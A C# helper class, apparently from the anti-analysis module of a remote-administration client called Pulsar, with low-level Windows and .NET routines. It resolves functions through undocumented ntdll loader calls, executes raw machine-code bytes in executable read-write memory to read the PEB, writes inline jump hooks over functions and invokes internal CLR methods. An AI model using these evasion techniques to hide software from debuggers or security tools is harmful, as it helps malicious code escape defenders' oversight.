using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
using System.Reflection;
using System.Runtime.CompilerServices;
using static Pulsar.Client.Anti.Helper.Delegates;
namespace Pulsar.Client.Anti.Helper
{
public class Utils
{
#region WinApi
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandleA(string Library);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string Function);
[DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)]
private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack);
[DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength);
[DllImport("ntdll", SetLastError = true)]
private static extern uint NtClose(IntPtr hObject);
#endregion
///
/// Gets the handle of a specified module using low-level functions.
///
/// The name of the library to get the handle for.
/// The handle to the module.
public static IntPtr LowLevelGetModuleHandle(string Library)
{
if (IntPtr.Size == 4)
return GetModuleHandleA(Library);
IntPtr hModule = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
RtlInitUnicodeString(out UnicodeString, Library);
LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule);
return hModule;
}
///
/// Gets the address of a specified function using low-level functions.
///
/// The handle to the module.
/// The name of the function to get the address for.
/// The address of the function.
public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function)
{
if (IntPtr.Size == 4)
return GetProcAddress(hModule, Function);
IntPtr FunctionHandle = IntPtr.Zero;
Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING();
Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING();
RtlInitUnicodeString(out UnicodeString, Function);
RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true);
LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero);
return FunctionHandle;
}
///
/// Writes the struct to a pointer.
///
/// The struct.
/// The pointer to the address that represents the struct.
/// An indicator to whether we should delete the old struct after writing or not.
/// An indicator to whether we should change the ptr memory protection before writing.
/// return true if successful, otherwise false.
public static bool WriteStructToPtr(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection)
{
try
{
if (ChangeMemoryProtection)
{
uint Old = 0;
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old);
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old);
return true;
}
else
{
Marshal.StructureToPtr(structure, ptr, fDeleteOld);
return true;
}
}
catch
{
}
return false;
}
public static string GetCurrentCLRModuleName()
{
string[] CLRs = { "clr.dll", "coreclr.dll" };
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
foreach (string CLR in CLRs)
{
if (module.ModuleName.ToLower() == CLR)
{
return module.ModuleName;
}
}
}
return null;
}
///
/// Changes the page protection for an address.
///
/// The Address to change the protection for.
/// The size of the address.
/// The new protection to apply.
/// The old protection if you wanna set it back again.
/// return true if successfully did it's job, otherwise false.
public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect)
{
int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect);
if (Status == 0)
return true;
return false;
}
///
/// Reads a byte from a specified memory address.
///
/// The memory address to read from.
/// The byte read from the memory address.
public static byte InternalReadByte(IntPtr ptr)
{
unsafe
{
try
{
byte* ptr2 = (byte*)(void*)ptr;
return *ptr2;
}
catch
{
return 0;
}
}
}
///
/// Force exits the process even if hooked.
///
public static void ForceExit()
{
Environment.Exit(0);
unsafe
{
int* ptr = null;
*ptr = 42;
}
throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString());
}
///
/// copies memory from a byte array to an IntPtr.
///
/// The IntPtr destination in which the data will be copied to.
/// The byte array source in which the data will be copied from.
public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection)
{
unsafe
{
fixed (byte* source = src)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, 0, dst, src.Length);
ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, 0, dst, src.Length);
}
}
}
}
///
/// copies memory from an IntPtr to a byte array.
///
/// The byte array destination in which the data will be copied to.
/// The IntPtr source in which the data will be copied from.
public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection)
{
unsafe
{
fixed (byte* destination = dst)
{
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect))
{
Marshal.Copy(src, dst, 0, dst.Length);
ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, dst, 0, dst.Length);
}
}
}
}
///
/// copies memory from an IntPtr to another.
///
/// The byte array destination in which the data will be copied to.
/// The IntPtr source in which the data will be copied from.
public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection)
{
int sizeDst = Marshal.SizeOf(typeof(IntPtr));
byte[] buffer = new byte[sizeDst];
if (ChangeProtection)
{
uint oldProtect = 0;
if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect))
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect);
}
}
else
{
Marshal.Copy(src, buffer, 0, sizeDst);
Marshal.Copy(buffer, 0, dst, sizeDst);
}
}
///
/// Sees if the first string contains the second string.
///
/// First string to see if it contains the second string.
/// The second string that will be searched for.
/// if the second string contains a string from the first one then the result is true, otherwise false.
public static bool Contains(string First, string Second)
{
if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0)
{
return true;
}
return false;
}
///
/// The method which is invoked to test reflection for IsReflectionEnabled.
///
/// a random number from 1-99
private static int TestInvoke()
{
return new Random().Next(1, 99);
}
///
/// Checks if reflection is supported before doing reflection operations.
///
/// Check if we can get a function pointer.
/// Check if we can invoke another function.
/// return true if reflection is enabled and supports the options you provided, otherwise false.
public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport)
{
try
{
MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static);
if (BaseMethodTest == null)
return false;
if (InvokeSupport)
{
if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0)
return false;
}
if (FPSupport)
{
if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero)
return false;
}
return true;
}
catch
{
return false;
}
}
///
/// Converts a cast to a stack pointer.
///
/// The stack pointer of the cast you provided.
private static IntPtr UnsafeCastToStackPointer(ref T o) where T : class
{
unsafe
{
#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
fixed (T* ptr = &o)
{
return (IntPtr)ptr;
}
#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type
}
}
///
/// Gets the entry assembly directly using internal .NET functions using reflection.
///
/// if successful then it returns the entry assembly, otherwise null.
public static Assembly LowLevelGetEntryAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly EntryAsm = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
if (ObjectHandleOnStackType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null);
}
}
}
catch
{
return null;
}
return EntryAsm;
}
///
/// Gets the currently executing assembly directly using internal .NET functions using reflection.
///
/// if successful then it returns the executing assembly, otherwise null.
public static Assembly LowLevelGetExecutingAssembly()
{
if (!IsReflectionEnabled(false, true))
return null;
Assembly ExecutingAssembly = null;
try
{
IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly);
if (AsmPtr != IntPtr.Zero)
{
Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack");
Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle");
if (ObjectHandleOnStackType != null && StackCrawlMarksType != null)
{
object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType);
FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr);
Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark");
object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller");
IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller);
if (StackCrawlMarkPtr != IntPtr.Zero)
{
object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType);
FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance);
mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr);
Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null);
}
}
}
}
catch
{
return null;
}
return ExecutingAssembly;
}
///
/// Calls methods in the CLR which isn't normally/directly accessible.
///
/// The name of the internal function.
/// The class or type that the method is in.
/// The method flags which will be used to find the exact method.
/// The parameters which is used to search for the function using it, will be used instead of Flags if not left null.
/// The parameters passed to the method. can be null.
/// The type arguments if the method is a generic method.
/// the return value of the method (if any).
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
if (Parameters != null)
{
MI = InternalMethodType.GetMethod(InternalMethod, Parameters);
}
else
{
MI = InternalMethodType.GetMethod(InternalMethod, Flags);
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
///
/// Calls methods in the CLR which isn't normally/directly accessible.
///
/// The name of the internal function.
/// The class or type that the method is in.
/// The return type of the method to be searched for.
/// The parameters passed to the method. can be null.
/// The type arguments if the method is a generic method.
/// the return value of the method (if any).
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static))
{
if (methods.Name.ToLower() == InternalMethod.ToLower())
{
if (methods.ReturnType == ReturnType)
{
MI = methods;
break;
}
}
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
private static uint PAGE_EXECUTE_READWRITE = 0x40;
private static uint MEM_RELEASE = 0x00008000;
///
/// Gets the Process Environment Block with it's struct.
///
/// returns the PEB.
public static PEB GetPEB()
{
byte[] PEBCode = new byte[20];
if (IntPtr.Size == 8)
PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 };
else
PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 };
IntPtr AllocatedCode = AllocateCode(PEBCode);
if (AllocatedCode != IntPtr.Zero)
{
try
{
GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr));
IntPtr PebPtr = PebDel();
FreeCode(AllocatedCode);
if (PebPtr != IntPtr.Zero)
{
return Marshal.PtrToStructure(PebPtr);
}
}
catch
{
FreeCode(AllocatedCode);
}
}
return new PEB();
}
///
/// Allocates assembly code from byte array.
///
/// The assembly code in byte array.
/// Allocated memory to the assembly code.
public static IntPtr AllocateCode(byte[] Code)
{
IntPtr Allocated = IntPtr.Zero;
uint Length = (uint)Code.Length;
uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE);
if (Status == 0)
{
CopyMem(Allocated, Code, false);
return Allocated;
}
return IntPtr.Zero;
}
///
/// Frees the allocated memory.
///
/// The allocated assembly code to be freed.
/// An indicator if the memory was freed or not.
public static bool FreeCode(IntPtr AllocatedCode)
{
return VirtualFree(AllocatedCode, 0, MEM_RELEASE);
}
///
/// Closes a handle.
///
/// The handle to be closed.
/// true if the handle has been closed, otherwise false.
public static bool CloseHandle(IntPtr Handle)
{
if (NtClose(Handle) == 0)
return true;
return false;
}
public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength)
{
uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION));
uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength);
if (Result == 0)
return true;
return false;
}
///
/// Installs a function hook.
///
/// The source function pointer to be hooked.
/// The destination function pointer to be the hooking function.
/// The hooked code which will be written to if you wanna hook the function later (6 bytes in length).
private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked)
{
byte[] HookCode = new byte[6];
HookCode[0] = 0x90;
HookCode[1] = 0xE9;
if (IntPtr.Size == 8)
{
long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes(offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
else
{
long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes((int)offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
CopyMem(Source, HookCode, true);
Hooked = HookCode;
return true;
}
///
/// Installs/Uninstalls a hook to/from the function.
///
/// The code which is hooked/unhooked to apply.
/// pointer to the function.
public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction)
{
CopyMem(pFunction, code, true);
}
///
/// The whitelisted function by the hook which should get the original function pointer.
///
/// The method to get the pointer for.
/// Returns the pointer if successful, otherwise IntPtr.Zero
public static IntPtr GetPointer(MethodInfo MI)
{
return MI.MethodHandle.GetFunctionPointer();
}
///
/// The whitelisted function by the hook which should get the original function pointer from the delegate.
///
/// The method to get the pointer for.
/// Returns the pointer if successful, otherwise IntPtr.Zero
public static IntPtr GetPointerDelegate(Delegate DelegateMethod)
{
if (IsReflectionEnabled(false, true))
{
return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod });
}
return Marshal.GetFunctionPointerForDelegate(DelegateMethod);
}
///
/// Installs a CLR hook.
///
/// The method to be hooked.
/// The hook method.
/// The original code which will be written to if you wanna unhook the function later (6 bytes in length).
/// The hook code which can be used to hook the function after unhooking it (6 bytes in length).
/// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.
/// Returns true if successfully hooked, otherwise false.
public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
if (!IsReflectionEnabled(true, true))
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle);
RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle);
IntPtr pSource = GetPointer(SourceFunction);
IntPtr pDestination = GetPointer(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
///
/// Installs a CLR hook using delegates, for some software that have AOT.
///
/// The method to be hooked.
/// The hook method.
/// The original code which will be written to if you wanna unhook the function later (6 bytes in length).
/// The hook code which can be used to hook the function after unhooking it (6 bytes in length).
/// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.
/// Returns true if successfully hooked, otherwise false.
public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
IntPtr pSource = GetPointerDelegate(SourceFunction);
IntPtr pDestination = GetPointerDelegate(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
}
}